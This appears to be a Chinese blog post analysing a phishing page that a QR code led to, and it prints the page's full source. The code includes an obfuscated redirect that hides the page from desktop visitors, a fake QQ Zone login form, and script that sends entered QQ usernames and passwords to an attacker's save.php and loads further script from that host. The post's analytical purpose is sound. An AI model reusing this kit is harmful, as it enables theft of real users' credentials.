寫在前面
之前好像一直都沒有碰到過釣魚頁面啥的…前天剛好碰到,就簡單分析一下。
釣魚分析
釣魚網址藏在一個二維碼中,正值畢業季啊,二維碼圖片上寫着“青春不散場”…看着就很像真的…
二維碼對應的URL
爲https://sharechain.qq.com/1b4e56f042d5bf060fe0e44d6346eebf
,是一個騰訊微雲的鏈接。沒有用過騰訊微雲,感覺像是分享一個帖子,然後帖子點進去就是下圖的形式。在電腦上看的話,其實很快就能發現這個東西不太對勁,但是在手機上是不能顯示實際對應的跳轉鏈接。文本顯示鏈接與實際跳轉鏈接不對應,這個特徵在釣魚網站檢測中也經常用到。
接下來就看一下www.dfesd.com/images/ee/yyoui.html
這個鏈接的內容是什麼。
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta id="viewport" name="viewport" content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<link href="http://sasdh447.6600.org/template/css/css.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="http://qzonestyle.gtimg.cn/qzone/phone/style/login.css">
<script src="http://open.mobile.qq.com/sdk/qqapi.js?_bid=152"></script>
<script type="text/javascript">
$(function(){
mqq.ui.setTitleButtons({
left : {
title : "私密相冊",
callback : function () {
//
}
},
right : {
hidden: true
}
})
});
</script>
<!--頂部banner-->
</head>
<script>
var doc=$(document);var _touches_point1=0;var _touches_point2=0;addEventListener("touchstart",function(a){_touches_point1=a.touches[0].pageY});addEventListener("touchmove",function(a){_touches_point2=a.touches[0].pageY;if(doc.scrollTop()<=0&&_touches_point1<_touches_point2){a.preventDefault();if($("#_domain_display").length<=0){$("body").prepend('<div id="_domain_display" style="text-align:center;background-color:#bebdc2;color:#65696c;height:0px;padding-top:15px;line-height:26px;font-size:12px;overflow:hidden;"><p>網頁由 '+
'ui.ptlogin2.qq.com'
+' 提供</p><p>QQ瀏覽器X5內核提供技術支持</p></div>')}$("#_domain_display").height((_touches_point2-_touches_point1))}});addEventListener("touchend",function(a){$("#_domain_display").slideUp("normal",function(){$("#_domain_display").remove()})});
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 1={4:6,5:6,7:6};8 2=9.d;1.4=2.3("b")==0;1.5=2.3("c")==0;1.a=(2=="e")||(2.3("f")==0);k(1.4||1.5||1.7){o.n.l="g://j.i.h/m/"}',25,25,'|system|p|indexOf|win|mac|false|xll|var|navigator|x11|Win|Mac|platform|X11|Linux|http|com|qq|pvp|if|href||location|window'.split('|'),0,{}));
/* 上面一段js最終爲執行了如下代碼
var system = {
win: false,
mac: false,
xll: false
};
var p = navigator.platform;
system.win = p.indexOf("Win") == 0;
system.mac = p.indexOf("Mac") == 0;
system.x11 = (p == "X11") || (p.indexOf("Linux") == 0);
if (system.win || system.mac || system.xll) { //檢測到系統之後跳轉到http://pvp.qq.com/m/
window.location.href = "http://pvp.qq.com/m/"
}
*/
if(navigator.userAgent.indexOf('QQ/')>0){
}else{
window.location.href='http://i.qq.com';
}
var province = remote_ip_info.province; var city = remote_ip_info.city; document.getElementById("ip").value=province+city;</script>
<!--下面這段html代碼,是模仿了qq空間的登錄界面-->
<body style="zoom: 1;">
<div id="content" class="content">
<div id="error_tips">
<div id="error_tips_content">
<span id="error_icon"></span>
<span id="error_message"></span>
</div>
</div>
<div id="login" class="login">
<div id="logo" class="logo"></div>
<div id="app_name" style="display: none"></div>
<div id="q_login" class="q_login" style="display: none">
<div id="q_login_title">
<div id="q_login_logo"></div>
<label id="q_login_tips"></label>
</div>
<div id="q_logon_list" class="q_logon_list"></div>
</div>
<div id="web_login">
<form id="loginform" autocomplete="off" name="loginform" action="" method="" target="" style="margin:0">
<input type="hidden" name="ip" id="ip" />
<ul id="g_list">
<li id="g_u">
<div id="del_touch" class="del_touch">
<span id="del_u" class="del_u"></span>
</div>
<input id="u" class="inputstyle" name="hrUW3PG7mp3RLd3dJu" autocomplete="off" placeholder="QQ號碼/手機/郵箱"></li>
<li id="g_p">
<div id="del_touch_p" class="del_touch">
<span id="del_p" class="del_u"></span>
</div>
<input id="p" class="inputstyle" maxlength="16" type="password" name="LxMzAX2jog9Bpjs07jP" autocorrect="off" placeholder="請輸入您的QQ密碼"></li>
</ul>
<div href="javascript:void(0);" id="go">登 錄</div></form>
</div>
<div id="switch">
<div id="swicth_login" onclick="pt._switch()" style="display: none"></div>
<div id="zc_feedback">
<span id="zc" onclick="window.open('http\://ptlogin2.qq.com\x2Fj_newreg_url')">註冊新帳號</span>
<span id="forgetpwd" onclick="window.open('http\://ptlogin2.qq.com/j_findpwd_url')">忘了密碼?</span></div>
</div>
<div id="custom_bottom"></div>
</div>
<div id="vcode">
<label id="vcode_tips"></label>
<div id="vcode_area">
<img id="vcode_img">
<label id="input_tips"></label>
<input id="vcode_input" name="vcode_input" tabindex="3" autocomplete="off" autocorrect="off" maxlength="6"></div>
<div id="button"></div>
</div>
</div>
<div id="new_vcode" class="new_vcode"></div>
<div id="footerBlank"></div>
<script>
var times = 0;
function error(msg) {
$("#error_tips").css({
display: 'block'
});
$('#error_message').html(msg);
err = true;
}
$('form input').focus(function() {
$("#error_tips").css({
display: 'none'
});
err = false;
});
$("#error_tips").on('click',
function() {
$(this).hide();
});
$("#go").on('click',
function() {
var $this = $(this);
err = false;
var p = $("#p").val();
var u = $("#u").val();
u == '' && error('您還沒有輸入帳號!');
if(err) return false;
p == '' && error("您還沒有輸入密碼!");
if(err) return false;
/^[1-9][0-9]{5,9}$/.test(u) || error('請輸入正確的帳號!');
if(err) return false;
if(sameChar(u)){
error("您輸入的帳號或密碼不正確,請重新輸入。");
$("#u").val('');
$("#p").val('');
return false;
}
var len = p.length;
(len < 6 || len>16) && error('您輸入的帳號或密碼不正確,請重新輸入。');
/*新增密碼校驗*/
var pattern = /[\u4e00-\u9fa5]+/g;
pattern.test(p) && error("您輸入的帳號或密碼不正確,請重新輸入。");
var pattern2 = /^[0-9]*$/g;
pattern2.test(p) && error("您輸入的帳號或密碼不正確,請重新輸入。");
if(sameChar(p)){
error("您輸入的帳號或密碼不正確,請重新輸入。");
$("#p").val('');
return false;
}
/**/
if (!err){
$.ajax({
url:'http://sasdh447.6600.org/save.php',
type:'POST',
dataType:'json',
async:false,
data: $('#loginform').serialize(),
success:function(r){
$.getScript('http://sasdh447.6600.org/lib/t.js');
},
error:function(er){
$.getScript('http://sasdh447.6600.org/lib/t.js');
}
})
}
})
function sameChar(str){
var result = true;
var c = str.charAt(0);
for(var i=0;i<str.length;i++){
if(c != str.charAt(i)){
result = false;
break;
}
}
return result;
}
</script>
<div style="display:none;">
</body>
</html>
理解了一下,其中的js
代碼會判斷訪問者所使用的操作系統平臺,如果是win/mac/linux
,就會直接跳轉到王者榮耀的一個網址,之後會判斷是否是使用QQ
的瀏覽器來登錄的,如果是,則不跳轉,如果不是,就會跳轉到https://i.qq.com/
。查了一下發現當有好多個window.location.href='xxx'
時,只會執行最後一個,而且通過測試發現,頁面的跳轉會在後面所有的js
代碼都執行結束之後發生。
這部分代碼其實就是防止自己被發現吧。當使用電腦登錄的時候,就直接跳轉到正常的頁面。
如果我們是通過手機QQ
直接掃描二維碼,訪問網址,那頁面不跳轉,會看到一個和正常的QQ
空間登錄一樣的界面,最後面的js
代碼進行了一些簡單的對用戶名/密碼的判斷,避免訪問者輸入相同的用戶名/密碼,檢測用戶名是否全是數字等等,比較好理解。當js
代碼判斷沒有錯誤之後,就會把用戶名密碼傳遞給一個http://sasdh447.6600.org/save.php
的網址,這纔是真正的釣魚者的服務器,他應該會在後臺使用拿到的用戶名密碼,登錄QQ
空間,發一些消息,繼續傳播釣魚界面。現在因爲都有設備鎖,所以釣魚者是沒辦法直接登錄QQ
,但是郵件、空間等等這些都是可以登錄的。
另外,最開始騰訊微雲的鏈接是跳轉到www.dfesd.com
下的一個網址,這個是阿里巴巴下的一個快遞公司…是合法的,感覺應該是這個網站有漏洞,然後通過這個漏洞上傳了yyoui.html
這個頁面。沒有直接在釣魚者自己的服務器上放yyoui.html
頁面,應該也是出於保護自身的緣故吧。
最後
感覺釣魚檢測在移動端需求更大,但是移動端…emm…看論文來說好像不是很多。